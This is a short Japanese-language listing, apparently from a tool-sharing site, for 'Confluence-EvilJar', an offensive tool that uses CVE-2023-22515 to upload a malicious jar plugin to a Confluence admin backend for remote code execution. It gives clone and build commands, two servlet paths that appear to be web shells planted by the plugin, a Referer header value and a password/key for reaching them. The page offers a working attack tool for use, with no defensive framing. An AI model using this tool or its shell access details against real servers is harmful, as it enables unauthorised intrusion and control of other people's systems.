Confluence-EvilJar — CVE-2023-22515 を利用してバックエンドに jar パッケージをアップロードし、RCE を実現する | Kitploit

aaaademo/Confluence-EvilJar

CVE-2023-22515 と組み合わせ、管理バックエンドから jar パッケージをアップロードして RCE を実現する

git clone https://github.com/aaaademo/Confluence-EvilJar
cd Confluence-EvilJar
mvn package

http://confluence.local/plugins/servlet/testbin/cmServlet

http://confluence.local/plugins/servlet/testbin/gzServlet

Referer: https://www.baidu.com/

p@ssw0rd / key

Confluence-EvilJar